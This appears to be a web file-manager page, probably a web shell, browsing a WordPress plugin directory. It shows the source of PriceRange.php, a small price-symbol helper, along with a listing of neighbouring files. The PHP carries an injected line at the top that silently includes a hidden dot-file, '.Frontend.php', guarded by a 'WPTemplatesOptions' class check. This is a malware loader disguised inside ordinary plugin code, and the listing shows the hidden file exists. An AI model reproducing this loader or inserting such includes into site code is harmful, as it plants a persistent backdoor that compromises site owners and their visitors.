PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
wiloke-listing-tools
/
app
/
Frontend
<?php namespace WilokeListingTools\Frontend; use WilokeListingTools\Framework\Helpers\GetSettings; if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class PriceRange { public static function getSymbol($post, $type=null){ $symbol = apply_filters('wilcity/price-range/symbol', '$', $post); if ( empty($type) ){ $type = GetSettings::getPostMeta($post->ID, 'price_range'); } if ( empty($type) ){ return false; } switch ($type){ case 'nottosay': return ''; case 'cheap': return $symbol; case 'moderate': return $symbol.$symbol; break; case 'expensive': return $symbol.$symbol.$symbol; break; default: return $symbol.$symbol.$symbol.$symbol; break; } } }
[+]
..
[-] .Frontend.php
[edit]
[-] PriceRange.php
[edit]
[-] Gallery.php
[edit]
[-] User.php
[edit]
[-] SingleListing.php
[edit]
[-] GenerateURL.php
[edit]
[-] CheckoutPage.php
[edit]
[-] BusinessHours.php
[edit]
[-] EnqueueScripts.php
[edit]